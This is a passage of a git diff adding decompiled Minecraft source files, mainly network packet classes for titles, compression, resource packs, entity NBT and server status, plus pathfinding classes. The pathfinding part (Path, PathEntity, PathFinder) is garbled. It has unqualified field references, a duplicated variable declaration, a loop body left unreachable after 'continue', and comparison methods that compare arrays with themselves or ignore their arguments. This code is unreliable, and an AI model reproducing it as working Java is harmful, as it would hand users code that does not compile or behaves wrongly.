+        field_179947_a[S44PacketWorldBorder.Action.INITIALIZE.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchAction() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S45PacketTitle.java b/src/minecraft/net/minecraft/network/play/server/S45PacketTitle.java
new file mode 100644
index 0000000..2495913
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S45PacketTitle.java
@@ -0,0 +1,165 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.IChatComponent;
+
+public class S45PacketTitle implements Packet
+{
+  private Type field_179812_a;
+  private IChatComponent field_179810_b;
+  private int field_179811_c;
+  private int field_179808_d;
+  private int field_179809_e;
+  private static final String __OBFID = "CL_00002287";
+  
+  public S45PacketTitle() {}
+  
+  public S45PacketTitle(Type p_i45953_1_, IChatComponent p_i45953_2_)
+  {
+    this(p_i45953_1_, p_i45953_2_, -1, -1, -1);
+  }
+  
+  public S45PacketTitle(int p_i45954_1_, int p_i45954_2_, int p_i45954_3_)
+  {
+    this(Type.TIMES, null, p_i45954_1_, p_i45954_2_, p_i45954_3_);
+  }
+  
+  public S45PacketTitle(Type p_i45955_1_, IChatComponent p_i45955_2_, int p_i45955_3_, int p_i45955_4_, int p_i45955_5_)
+  {
+    field_179812_a = p_i45955_1_;
+    field_179810_b = p_i45955_2_;
+    field_179811_c = p_i45955_3_;
+    field_179808_d = p_i45955_4_;
+    field_179809_e = p_i45955_5_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179812_a = ((Type)data.readEnumValue(Type.class));
+    
+    if ((field_179812_a == Type.TITLE) || (field_179812_a == Type.SUBTITLE))
+    {
+      field_179810_b = data.readChatComponent();
+    }
+    
+    if (field_179812_a == Type.TIMES)
+    {
+      field_179811_c = data.readInt();
+      field_179808_d = data.readInt();
+      field_179809_e = data.readInt();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeEnumValue(field_179812_a);
+    
+    if ((field_179812_a == Type.TITLE) || (field_179812_a == Type.SUBTITLE))
+    {
+      data.writeChatComponent(field_179810_b);
+    }
+    
+    if (field_179812_a == Type.TIMES)
+    {
+      data.writeInt(field_179811_c);
+      data.writeInt(field_179808_d);
+      data.writeInt(field_179809_e);
+    }
+  }
+  
+  public void func_179802_a(INetHandlerPlayClient p_179802_1_)
+  {
+    p_179802_1_.func_175099_a(this);
+  }
+  
+  public Type func_179807_a()
+  {
+    return field_179812_a;
+  }
+  
+  public IChatComponent func_179805_b()
+  {
+    return field_179810_b;
+  }
+  
+  public int func_179806_c()
+  {
+    return field_179811_c;
+  }
+  
+  public int func_179804_d()
+  {
+    return field_179808_d;
+  }
+  
+  public int func_179803_e()
+  {
+    return field_179809_e;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179802_a((INetHandlerPlayClient)handler);
+  }
+  
+  public static enum Type
+  {
+    TITLE("TITLE", 0), 
+    SUBTITLE("SUBTITLE", 1), 
+    TIMES("TIMES", 2), 
+    CLEAR("CLEAR", 3), 
+    RESET("RESET", 4);
+    
+    private static final Type[] $VALUES = { TITLE, SUBTITLE, TIMES, CLEAR, RESET };
+    private static final String __OBFID = "CL_00002286";
+    
+    private Type(String p_i45952_1_, int p_i45952_2_) {}
+    
+    public static Type func_179969_a(String p_179969_0_)
+    {
+      Type[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        Type var4 = var1[var3];
+        
+        if (var4.name().equalsIgnoreCase(p_179969_0_))
+        {
+          return var4;
+        }
+      }
+      
+      return TITLE;
+    }
+    
+    public static String[] func_179971_a()
+    {
+      String[] var0 = new String[values().length];
+      int var1 = 0;
+      Type[] var2 = values();
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        Type var5 = var2[var4];
+        var0[(var1++)] = var5.name().toLowerCase();
+      }
+      
+      return var0;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S46PacketSetCompressionLevel.java b/src/minecraft/net/minecraft/network/play/server/S46PacketSetCompressionLevel.java
new file mode 100644
index 0000000..997f293
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S46PacketSetCompressionLevel.java
@@ -0,0 +1,47 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S46PacketSetCompressionLevel
+  implements Packet
+{
+  private int field_179761_a;
+  private static final String __OBFID = "CL_00002300";
+  
+  public S46PacketSetCompressionLevel() {}
+  
+  public void readPacketData(PacketBuffer data) throws IOException
+  {
+    field_179761_a = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_179761_a);
+  }
+  
+  public void func_179759_a(INetHandlerPlayClient p_179759_1_)
+  {
+    p_179759_1_.func_175100_a(this);
+  }
+  
+  public int func_179760_a()
+  {
+    return field_179761_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179759_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter.java b/src/minecraft/net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter.java
new file mode 100644
index 0000000..8481b1e
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter.java
@@ -0,0 +1,63 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.IChatComponent;
+
+public class S47PacketPlayerListHeaderFooter implements Packet
+{
+  private IChatComponent field_179703_a;
+  private IChatComponent field_179702_b;
+  private static final String __OBFID = "CL_00002285";
+  
+  public S47PacketPlayerListHeaderFooter() {}
+  
+  public S47PacketPlayerListHeaderFooter(IChatComponent p_i45950_1_)
+  {
+    field_179703_a = p_i45950_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179703_a = data.readChatComponent();
+    field_179702_b = data.readChatComponent();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeChatComponent(field_179703_a);
+    data.writeChatComponent(field_179702_b);
+  }
+  
+  public void func_179699_a(INetHandlerPlayClient p_179699_1_)
+  {
+    p_179699_1_.func_175096_a(this);
+  }
+  
+  public IChatComponent func_179700_a()
+  {
+    return field_179703_a;
+  }
+  
+  public IChatComponent func_179701_b()
+  {
+    return field_179702_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179699_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S48PacketResourcePackSend.java b/src/minecraft/net/minecraft/network/play/server/S48PacketResourcePackSend.java
new file mode 100644
index 0000000..9026c03
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S48PacketResourcePackSend.java
@@ -0,0 +1,68 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S48PacketResourcePackSend implements Packet
+{
+  private String url;
+  private String hash;
+  private static final String __OBFID = "CL_00002293";
+  
+  public S48PacketResourcePackSend() {}
+  
+  public S48PacketResourcePackSend(String url, String hash)
+  {
+    this.url = url;
+    this.hash = hash;
+    
+    if (hash.length() > 40)
+    {
+      throw new IllegalArgumentException("Hash is too long (max 40, was " + hash.length() + ")");
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    url = data.readStringFromBuffer(32767);
+    hash = data.readStringFromBuffer(40);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(url);
+    data.writeString(hash);
+  }
+  
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.func_175095_a(this);
+  }
+  
+  public String func_179783_a()
+  {
+    return url;
+  }
+  
+  public String func_179784_b()
+  {
+    return hash;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S49PacketUpdateEntityNBT.java b/src/minecraft/net/minecraft/network/play/server/S49PacketUpdateEntityNBT.java
new file mode 100644
index 0000000..917aec2
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S49PacketUpdateEntityNBT.java
@@ -0,0 +1,66 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+
+public class S49PacketUpdateEntityNBT implements Packet
+{
+  private int field_179766_a;
+  private NBTTagCompound field_179765_b;
+  private static final String __OBFID = "CL_00002301";
+  
+  public S49PacketUpdateEntityNBT() {}
+  
+  public S49PacketUpdateEntityNBT(int p_i45979_1_, NBTTagCompound p_i45979_2_)
+  {
+    field_179766_a = p_i45979_1_;
+    field_179765_b = p_i45979_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179766_a = data.readVarIntFromBuffer();
+    field_179765_b = data.readNBTTagCompoundFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_179766_a);
+    data.writeNBTTagCompoundToBuffer(field_179765_b);
+  }
+  
+  public void func_179762_a(INetHandlerPlayClient p_179762_1_)
+  {
+    p_179762_1_.func_175097_a(this);
+  }
+  
+  public NBTTagCompound func_179763_a()
+  {
+    return field_179765_b;
+  }
+  
+  public Entity func_179764_a(World worldIn)
+  {
+    return worldIn.getEntityByID(field_179766_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179762_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/status/INetHandlerStatusClient.java b/src/minecraft/net/minecraft/network/status/INetHandlerStatusClient.java
new file mode 100644
index 0000000..f1008b8
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/status/INetHandlerStatusClient.java
@@ -0,0 +1,13 @@
+package net.minecraft.network.status;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.status.server.S00PacketServerInfo;
+import net.minecraft.network.status.server.S01PacketPong;
+
+public abstract interface INetHandlerStatusClient
+  extends INetHandler
+{
+  public abstract void handleServerInfo(S00PacketServerInfo paramS00PacketServerInfo);
+  
+  public abstract void handlePong(S01PacketPong paramS01PacketPong);
+}
diff --git a/src/minecraft/net/minecraft/network/status/INetHandlerStatusServer.java b/src/minecraft/net/minecraft/network/status/INetHandlerStatusServer.java
new file mode 100644
index 0000000..316cc5e
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/status/INetHandlerStatusServer.java
@@ -0,0 +1,13 @@
+package net.minecraft.network.status;
+
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.status.client.C00PacketServerQuery;
+import net.minecraft.network.status.client.C01PacketPing;
+
+public abstract interface INetHandlerStatusServer
+  extends INetHandler
+{
+  public abstract void processPing(C01PacketPing paramC01PacketPing);
+  
+  public abstract void processServerQuery(C00PacketServerQuery paramC00PacketServerQuery);
+}
diff --git a/src/minecraft/net/minecraft/network/status/client/C00PacketServerQuery.java b/src/minecraft/net/minecraft/network/status/client/C00PacketServerQuery.java
new file mode 100644
index 0000000..04ed1ef
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/status/client/C00PacketServerQuery.java
@@ -0,0 +1,35 @@
+package net.minecraft.network.status.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.status.INetHandlerStatusServer;
+
+public class C00PacketServerQuery
+  implements Packet
+{
+  private static final String __OBFID = "CL_00001393";
+  
+  public C00PacketServerQuery() {}
+  
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {}
+  
+  public void writePacketData(PacketBuffer data) throws IOException
+  {}
+  
+  public void func_180775_a(INetHandlerStatusServer p_180775_1_)
+  {
+    p_180775_1_.processServerQuery(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180775_a((INetHandlerStatusServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/status/client/C01PacketPing.java b/src/minecraft/net/minecraft/network/status/client/C01PacketPing.java
new file mode 100644
index 0000000..94d9a3f
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/status/client/C01PacketPing.java
@@ -0,0 +1,54 @@
+package net.minecraft.network.status.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.status.INetHandlerStatusServer;
+
+public class C01PacketPing implements Packet
+{
+  private long clientTime;
+  private static final String __OBFID = "CL_00001392";
+  
+  public C01PacketPing() {}
+  
+  public C01PacketPing(long p_i45276_1_)
+  {
+    clientTime = p_i45276_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    clientTime = data.readLong();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeLong(clientTime);
+  }
+  
+  public void func_180774_a(INetHandlerStatusServer p_180774_1_)
+  {
+    p_180774_1_.processPing(this);
+  }
+  
+  public long getClientTime()
+  {
+    return clientTime;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180774_a((INetHandlerStatusServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/status/server/S00PacketServerInfo.java b/src/minecraft/net/minecraft/network/status/server/S00PacketServerInfo.java
new file mode 100644
index 0000000..a6c2ee8
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/status/server/S00PacketServerInfo.java
@@ -0,0 +1,64 @@
+package net.minecraft.network.status.server;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.ServerStatusResponse;
+import net.minecraft.network.ServerStatusResponse.MinecraftProtocolVersionIdentifier;
+import net.minecraft.network.ServerStatusResponse.MinecraftProtocolVersionIdentifier.Serializer;
+import net.minecraft.network.status.INetHandlerStatusClient;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+
+public class S00PacketServerInfo implements net.minecraft.network.Packet
+{
+  private static final Gson GSON = new GsonBuilder().registerTypeAdapter(ServerStatusResponse.MinecraftProtocolVersionIdentifier.class, new ServerStatusResponse.MinecraftProtocolVersionIdentifier.Serializer()).registerTypeAdapter(net.minecraft.network.ServerStatusResponse.PlayerCountData.class, new net.minecraft.network.ServerStatusResponse.PlayerCountData.Serializer()).registerTypeAdapter(ServerStatusResponse.class, new net.minecraft.network.ServerStatusResponse.Serializer()).registerTypeHierarchyAdapter(IChatComponent.class, new IChatComponent.Serializer()).registerTypeHierarchyAdapter(net.minecraft.util.ChatStyle.class, new net.minecraft.util.ChatStyle.Serializer()).registerTypeAdapterFactory(new net.minecraft.util.EnumTypeAdapterFactory()).create();
+  private ServerStatusResponse response;
+  private static final String __OBFID = "CL_00001384";
+  
+  public S00PacketServerInfo() {}
+  
+  public S00PacketServerInfo(ServerStatusResponse responseIn)
+  {
+    response = responseIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    response = ((ServerStatusResponse)GSON.fromJson(data.readStringFromBuffer(32767), ServerStatusResponse.class));
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(GSON.toJson(response));
+  }
+  
+
+
+
+  public void processPacket(INetHandlerStatusClient handler)
+  {
+    handler.handleServerInfo(this);
+  }
+  
+  public ServerStatusResponse func_149294_c()
+  {
+    return response;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerStatusClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/status/server/S01PacketPong.java b/src/minecraft/net/minecraft/network/status/server/S01PacketPong.java
new file mode 100644
index 0000000..05c3ea5
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/status/server/S01PacketPong.java
@@ -0,0 +1,52 @@
+package net.minecraft.network.status.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.status.INetHandlerStatusClient;
+
+public class S01PacketPong implements Packet
+{
+  private long clientTime;
+  private static final String __OBFID = "CL_00001383";
+  
+  public S01PacketPong() {}
+  
+  public S01PacketPong(long time)
+  {
+    clientTime = time;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    clientTime = data.readLong();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeLong(clientTime);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerStatusClient handler)
+  {
+    handler.handlePong(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerStatusClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/Path.java b/src/minecraft/net/minecraft/pathfinding/Path.java
new file mode 100644
index 0000000..40c381c
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/Path.java
@@ -0,0 +1,176 @@
+package net.minecraft.pathfinding;
+
+
+public class Path
+{
+  private PathPoint[] pathPoints = new PathPoint['Ѐ'];
+  
+  private int count;
+  
+  private static final String __OBFID = "CL_00000573";
+  
+
+  public Path() {}
+  
+  public PathPoint addPoint(PathPoint point)
+  {
+    if (index >= 0)
+    {
+      throw new IllegalStateException("OW KNOWS!");
+    }
+    
+
+    if (count == pathPoints.length)
+    {
+      PathPoint[] var2 = new PathPoint[count << 1];
+      System.arraycopy(pathPoints, 0, var2, 0, count);
+      pathPoints = var2;
+    }
+    
+    pathPoints[count] = point;
+    index = count;
+    sortBack(count++);
+    return point;
+  }
+  
+
+
+
+
+  public void clearPath()
+  {
+    count = 0;
+  }
+  
+
+
+
+  public PathPoint dequeue()
+  {
+    PathPoint var1 = pathPoints[0];
+    pathPoints[0] = pathPoints[(--count)];
+    pathPoints[count] = null;
+    
+    if (count > 0)
+    {
+      sortForward(0);
+    }
+    
+    index = -1;
+    return var1;
+  }
+  
+
+
+
+  public void changeDistance(PathPoint p_75850_1_, float p_75850_2_)
+  {
+    float var3 = distanceToTarget;
+    distanceToTarget = p_75850_2_;
+    
+    if (p_75850_2_ < var3)
+    {
+      sortBack(index);
+    }
+    else
+    {
+      sortForward(index);
+    }
+  }
+  
+
+
+
+  private void sortBack(int p_75847_1_)
+  {
+    PathPoint var2 = pathPoints[p_75847_1_];
+    
+    int var4;
+    for (float var3 = distanceToTarget; p_75847_1_ > 0; p_75847_1_ = var4)
+    {
+      var4 = p_75847_1_ - 1 >> 1;
+      PathPoint var5 = pathPoints[var4];
+      
+      if (var3 >= distanceToTarget) {
+        break;
+      }
+      
+
+      pathPoints[p_75847_1_] = var5;
+      index = p_75847_1_;
+    }
+    
+    pathPoints[p_75847_1_] = var2;
+    index = p_75847_1_;
+  }
+  
+
+
+
+  private void sortForward(int p_75846_1_)
+  {
+    PathPoint var2 = pathPoints[p_75846_1_];
+    float var3 = distanceToTarget;
+    
+    for (;;)
+    {
+      int var4 = 1 + (p_75846_1_ << 1);
+      int var5 = var4 + 1;
+      
+      if (var4 >= count) {
+        break;
+      }
+      
+
+      PathPoint var6 = pathPoints[var4];
+      float var7 = distanceToTarget;
+      float var9;
+      PathPoint var8;
+      float var9;
+      if (var5 >= count)
+      {
+        PathPoint var8 = null;
+        var9 = Float.POSITIVE_INFINITY;
+      }
+      else
+      {
+        var8 = pathPoints[var5];
+        var9 = distanceToTarget;
+      }
+      
+      if (var7 < var9)
+      {
+        if (var7 >= var3) {
+          break;
+        }
+        
+
+        pathPoints[p_75846_1_] = var6;
+        index = p_75846_1_;
+        p_75846_1_ = var4;
+      }
+      else
+      {
+        if (var9 >= var3) {
+          break;
+        }
+        
+
+        pathPoints[p_75846_1_] = var8;
+        index = p_75846_1_;
+        p_75846_1_ = var5;
+      }
+    }
+    
+    pathPoints[p_75846_1_] = var2;
+    index = p_75846_1_;
+  }
+  
+
+
+
+  public boolean isPathEmpty()
+  {
+    return count == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathEntity.java b/src/minecraft/net/minecraft/pathfinding/PathEntity.java
new file mode 100644
index 0000000..00447dd
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathEntity.java
@@ -0,0 +1,130 @@
+package net.minecraft.pathfinding;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.Vec3;
+
+
+
+
+
+
+public class PathEntity
+{
+  private final PathPoint[] points;
+  private int currentPathIndex;
+  private int pathLength;
+  private static final String __OBFID = "CL_00000575";
+  
+  public PathEntity(PathPoint[] p_i2136_1_)
+  {
+    points = p_i2136_1_;
+    pathLength = p_i2136_1_.length;
+  }
+  
+
+
+
+  public void incrementPathIndex()
+  {
+    currentPathIndex += 1;
+  }
+  
+
+
+
+  public boolean isFinished()
+  {
+    return currentPathIndex >= pathLength;
+  }
+  
+
+
+
+  public PathPoint getFinalPathPoint()
+  {
+    return pathLength > 0 ? points[(pathLength - 1)] : null;
+  }
+  
+
+
+
+  public PathPoint getPathPointFromIndex(int p_75877_1_)
+  {
+    return points[p_75877_1_];
+  }
+  
+  public int getCurrentPathLength()
+  {
+    return pathLength;
+  }
+  
+  public void setCurrentPathLength(int p_75871_1_)
+  {
+    pathLength = p_75871_1_;
+  }
+  
+  public int getCurrentPathIndex()
+  {
+    return currentPathIndex;
+  }
+  
+  public void setCurrentPathIndex(int p_75872_1_)
+  {
+    currentPathIndex = p_75872_1_;
+  }
+  
+
+
+
+  public Vec3 getVectorFromIndex(Entity p_75881_1_, int p_75881_2_)
+  {
+    double var3 = points[p_75881_2_].xCoord + (int)(width + 1.0F) * 0.5D;
+    double var5 = points[p_75881_2_].yCoord;
+    double var7 = points[p_75881_2_].zCoord + (int)(width + 1.0F) * 0.5D;
+    return new Vec3(var3, var5, var7);
+  }
+  
+
+
+
+  public Vec3 getPosition(Entity p_75878_1_)
+  {
+    return getVectorFromIndex(p_75878_1_, currentPathIndex);
+  }
+  
+
+
+
+  public boolean isSamePath(PathEntity p_75876_1_)
+  {
+    if (p_75876_1_ == null)
+    {
+      return false;
+    }
+    if (points.length != points.length)
+    {
+      return false;
+    }
+    
+
+    for (int var2 = 0; var2 < points.length; var2++)
+    {
+      if ((points[var2].xCoord != points[var2].xCoord) || (points[var2].yCoord != points[var2].yCoord) || (points[var2].zCoord != points[var2].zCoord))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public boolean isDestinationSame(Vec3 p_75880_1_)
+  {
+    PathPoint var2 = getFinalPathPoint();
+    return var2 != null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathFinder.java b/src/minecraft/net/minecraft/pathfinding/PathFinder.java
new file mode 100644
index 0000000..dbccd45
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathFinder.java
@@ -0,0 +1,167 @@
+package net.minecraft.pathfinding;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.pathfinder.NodeProcessor;
+
+public class PathFinder
+{
+  private Path path = new Path();
+  
+
+  private PathPoint[] pathOptions = new PathPoint[32];
+  private NodeProcessor field_176190_c;
+  private static final String __OBFID = "CL_00000576";
+  
+  public PathFinder(NodeProcessor p_i45557_1_)
+  {
+    field_176190_c = p_i45557_1_;
+  }
+  
+  public PathEntity func_176188_a(IBlockAccess p_176188_1_, Entity p_176188_2_, Entity p_176188_3_, float p_176188_4_)
+  {
+    return func_176189_a(p_176188_1_, p_176188_2_, posX, getEntityBoundingBoxminY, posZ, p_176188_4_);
+  }
+  
+  public PathEntity func_180782_a(IBlockAccess p_180782_1_, Entity p_180782_2_, BlockPos p_180782_3_, float p_180782_4_)
+  {
+    return func_176189_a(p_180782_1_, p_180782_2_, p_180782_3_.getX() + 0.5F, p_180782_3_.getY() + 0.5F, p_180782_3_.getZ() + 0.5F, p_180782_4_);
+  }
+  
+  private PathEntity func_176189_a(IBlockAccess p_176189_1_, Entity p_176189_2_, double p_176189_3_, double p_176189_5_, double p_176189_7_, float p_176189_9_)
+  {
+    path.clearPath();
+    field_176190_c.func_176162_a(p_176189_1_, p_176189_2_);
+    PathPoint var10 = field_176190_c.func_176161_a(p_176189_2_);
+    PathPoint var11 = field_176190_c.func_176160_a(p_176189_2_, p_176189_3_, p_176189_5_, p_176189_7_);
+    PathEntity var12 = func_176187_a(p_176189_2_, var10, var11, p_176189_9_);
+    field_176190_c.func_176163_a();
+    return var12;
+  }
+  
+  private PathEntity func_176187_a(Entity p_176187_1_, PathPoint p_176187_2_, PathPoint p_176187_3_, float p_176187_4_)
+  {
+    totalPathDistance = 0.0F;
+    distanceToNext = p_176187_2_.distanceToSquared(p_176187_3_);
+    distanceToTarget = distanceToNext;
+    path.clearPath();
+    path.addPoint(p_176187_2_);
+    PathPoint var5 = p_176187_2_;
+    int var7;
+    int var8; for (; !path.isPathEmpty(); 
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        var8 < var7)
+    {
+      PathPoint var6 = path.dequeue();
+      
+      if (var6.equals(p_176187_3_))
+      {
+        return createEntityPath(p_176187_2_, p_176187_3_);
+      }
+      
+      if (var6.distanceToSquared(p_176187_3_) < var5.distanceToSquared(p_176187_3_))
+      {
+        var5 = var6;
+      }
+      
+      visited = true;
+      var7 = field_176190_c.func_176164_a(pathOptions, p_176187_1_, var6, p_176187_3_, p_176187_4_);
+      
+      var8 = 0; continue;
+      
+      PathPoint var9 = pathOptions[var8];
+      float var10 = totalPathDistance + var6.distanceToSquared(var9);
+      
+      if ((var10 < p_176187_4_ * 2.0F) && ((!var9.isAssigned()) || (var10 < totalPathDistance)))
+      {
+        previous = var6;
+        totalPathDistance = var10;
+        distanceToNext = var9.distanceToSquared(p_176187_3_);
+        
+        if (var9.isAssigned())
+        {
+          path.changeDistance(var9, totalPathDistance + distanceToNext);
+        }
+        else
+        {
+          distanceToTarget = (totalPathDistance + distanceToNext);
+          path.addPoint(var9);
+        }
+      }
+      var8++;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (var5 == p_176187_2_)
+    {
+      return null;
+    }
+    
+
+    return createEntityPath(p_176187_2_, var5);
+  }
+  
+
+
+
+
+  private PathEntity createEntityPath(PathPoint p_75853_1_, PathPoint p_75853_2_)
+  {
+    int var3 = 1;
+    
+
+    for (PathPoint var4 = p_75853_2_; previous != null; var4 = previous)
+    {
+      var3++;
+    }
+    
+    PathPoint[] var5 = new PathPoint[var3];
+    var4 = p_75853_2_;
+    var3--;
+    
+    for (var5[var3] = p_75853_2_; previous != null; var5[var3] = var4)
+    {
+      var4 = previous;
+      var3--;
+    }
+    
+    return new PathEntity(var5);
+  }
+}
diff --git a/src/minecraft/net/minecraft/pathfinding/PathNavigate.java b/src/minecraft/net/minecraft/pathfinding/PathNavigate.java
new file mode 100644
index 0000000..660abb6
--- /dev/null
+++ b/src/minecraft/net/minecraft/pathfinding/PathNavigate.java
@@ -0,0 +1,310 @@
+package net.minecraft.pathfinding;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.ChunkCache;
+import net.minecraft.world.World;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class PathNavigate
+{
+  protected EntityLiving theEntity;
+  protected World worldObj;
+  protected PathEntity currentPath;
+  protected double speed;
+  private final IAttributeInstance pathSearchRange;
+  private int totalTicks;
+  private int ticksAtLastPos;
+  private Vec3 lastPosCheck = new Vec3(0.0D, 0.0D, 0.0D);
+  private float field_179682_i = 1.0F;
+  private final PathFinder field_179681_j;
+  private static final String __OBFID = "CL_00001627";
+  
+  public PathNavigate(EntityLiving p_i1671_1_, World worldIn)
+  {
+    theEntity = p_i1671_1_;
+    worldObj = worldIn;
+    pathSearchRange = p_i1671_1_.getEntityAttribute(SharedMonsterAttributes.followRange);
+    field_179681_j = func_179679_a();
+  }
+  
+
+
+  protected abstract PathFinder func_179679_a();
+  
+
+  public void setSpeed(double p_75489_1_)
+  {
+    speed = p_75489_1_;
+  }
+  
+
+
+
+  public float getPathSearchRange()
